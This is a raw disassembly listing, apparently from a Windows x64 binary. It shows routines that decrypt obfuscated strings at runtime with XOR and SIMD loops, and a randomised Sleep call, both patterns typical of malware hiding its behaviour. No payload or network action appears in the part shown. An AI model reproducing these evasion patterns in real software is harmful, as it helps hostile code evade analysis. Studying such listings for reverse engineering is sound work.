pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x14004f240
cmp edi, 0x21
jge 0x14004f37d
movsxd rax, edi
lea r8, [rbp + 0x70]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x14004f350
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
lea rax, [rbp + 0x70]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004f3a0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
lea r9, [rsp + 0x40]
mov r8, rsi
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x360]
call fcn.14003ad00
nop
call fcn.1400827bc
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f4
sub ecx, eax
inc ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x40]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x120], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0x38], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0x40], eax
mov edi, r13d
cmp r14d, 2
jl 0x14004f548
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0x38], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x3c]
pxor xmm2, xmm1
movd dword [rbp + 0x3c], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0x38]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x14004f560
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp + 0x38]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004f5a3
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x40]
call fcn.14003d220
nop
mov edx, 0x10
lea rcx, [rbp + 0x1c0]
call fcn.14003e000
mov rsi, rax
movups xmm0, xmmword [0x1400c2350]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x1400c2360]
movups xmmword [rbp + 0x80], xmm1
movzx ecx, byte [0x1400c2370]
mov byte [rbp + 0x90], cl
mov edi, r13d
cmp r14d, 2
jl 0x14004f743
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x70]
mov edx, dword [rbp + 0x50]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x14004f641
cmp edi, 0x21
jge 0x14004f77d
movsxd rax, edi
lea r8, [rbp + 0x70]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x14004f750
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r13
lea rax, [rbp + 0x70]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004f7a0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.14003d220
nop
lea r9, [rbp - 0x40]
mov r8, rsi
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x340]
call fcn.14003ad00
nop
mov rcx, qword [rbp + 0x278]
sub rcx, qword [rbp + 0x270]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x140050147
xor edi, edi
mov r15d, edi
lea r12, [rbp + 0x5d0]
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x40]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0xe0], eax
cmp byte [0x1400c2593], 0
je 0x14004f9df
cmp r14d, 2
jl 0x14004f999
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
pxor xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0xd8]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x14004f9b0
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rax, [rbp + 0xd8]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004fa00
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1e0]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [0x1400c2350]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [0x1400c2360]
movups xmmword [rbp + 0x168], xmm1
movzx ecx, byte [0x1400c2370]
mov byte [rbp + 0x178], cl
cmp r14d, 2
jl 0x14004fbb2
movdqa xmm5, xmmword [0x1400c3430]
xor edi, edi
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x158]
mov edx, dword [rbp + 0x50]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x14004fab0
cmp edi, 0x21
jge 0x14004fbed
movsxd rax, edi
lea r8, [rbp + 0x158]
add r8, rax
nop
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x14004fbc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xor edi, edi
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x228], rdi
lea rax, [rbp + 0x158]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14004fc11
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
lea r9, [rsp + 0x40]
mov r8, rsi
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x128]
call fcn.14003a780
mov r14, rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0xe8], xmm0
mov ecx, dword [0x1400c2590]
mov dword [rbp + 0xf0], ecx
cmp byte [0x1400c2593], 0
je 0x14004fddf
cmp dword [0x1400d4468], 2
jl 0x14004fd9b
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
pxor xmm2, xmm1
movd dword [rbp + 0xec], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0xe8]
add r8, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x14004fdb0
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], rdi
lea rax, [rbp + 0xe8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004fe01
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x1a0]
call fcn.14003d220
nop
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x70]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [0x1400c2350]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400c2360]
movups xmmword [rbp + 0x20], xmm1
movzx ecx, byte [0x1400c2370]
mov byte [rbp + 0x30], cl
cmp dword [0x1400d4468], 2
jl 0x14004ffa2
movdqa xmm5, xmmword [0x1400c3430]
xor edi, edi
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x14004fea0
cmp edi, 0x21
jge 0x14004ffdd
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x14004ffb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor edi, edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14004fff5
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003d220
nop
lea r9, [rbp + 0x1a0]
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x60]
call fcn.14003a780
nop
lea rdx, [r15 + r15*2]
mov rcx, qword [rbp + 0x270]
lea r8, [rcx + rdx*8]
mov qword [rsp + 0x20], r14
mov r9, rax
lea rcx, [rbp + 0x100]
call fcn.140055cf0
cmp dword [r12 + 8], 0
jne 0x140052d89
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movups xmmword [r12], xmm1
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400500a5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400500a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d7d
call fcn.1400735b8
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x1400500f6
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400500f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d83
call fcn.1400735b8
inc r13d
add r12, 0x10
mov rcx, qword [rbp + 0x278]
sub rcx, qword [rbp + 0x270]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd r15, r13d
mov r14d, dword [0x1400d4468]
cmp r15, rdx
jb 0x14004f820
lea r15, vtable.std::ios_base.0
lea r12, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x208], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
xor r13d, r13d
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], r13
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140050173
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003d220
nop
mov byte [rbp + 0x208], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], r13
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400501c0
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x230]
call fcn.14003d220
nop
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
cmp byte [0x1400c23e5], 0
je 0x140050203
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050220
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x50]
call fcn.14003d220
nop
movzx eax, word [0x1400c25f0]
mov word [rbp + 0x208], ax
cmp byte [0x1400c25f1], 0
je 0x140050260
mov byte [rbp + 0x208], 0x5c
xor byte [rbp + 0x209], 0x37
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], r13
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050282
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x100]
call fcn.14003d220
nop
mov eax, dword [0x1400c28c0]
mov dword [rbp + 0x200], eax
movzx eax, word [0x1400c28c4]
mov word [rbp + 0x204], ax
mov byte [rbp + 0x200], 0x4b
xor byte [rbp + 0x201], 0x37
xor byte [rbp + 0x202], 0x38
xor byte [rbp + 0x203], 0x39
xor al, 0x3a
mov byte [rbp + 0x204], al
xor byte [rbp + 0x205], 0x3b
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rbp + 0x200]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050301
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea rdx, [rbp + 0x360]
cmp qword [rbp + 0x378], 0x10
cmovae rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x370]
lea rcx, [rsp + 0x40]
call fcn.14003ce10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x100]
lea r8, [rbp - 0x20]
movzx edx, byte [rbp + 0x208]
lea rcx, [rbp - 0x40]
call fcn.14003ee00
nop
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], 0x10
cmovae rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x350]
lea rcx, [rbp - 0x40]
call fcn.14003ce10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x50]
lea r8, [rbp - 0x60]
movzx edx, byte [rbp + 0x208]
lea rcx, [rbp + 0x210]
call fcn.14003ee00
nop
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov r8, qword [rbp + 0x220]
lea rcx, [rbp + 0x230]
call fcn.14003ce10
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14005044d
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d77
call fcn.1400735b8
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140050489
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d8f
call fcn.1400735b8
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400504c4
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400504bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d95
call fcn.1400735b8
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140050510
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005050a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d9b
call fcn.1400735b8
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005054d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050548
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052da1
call fcn.1400735b8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400505a2
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005059c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052da7
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1400505dd
inc rdx
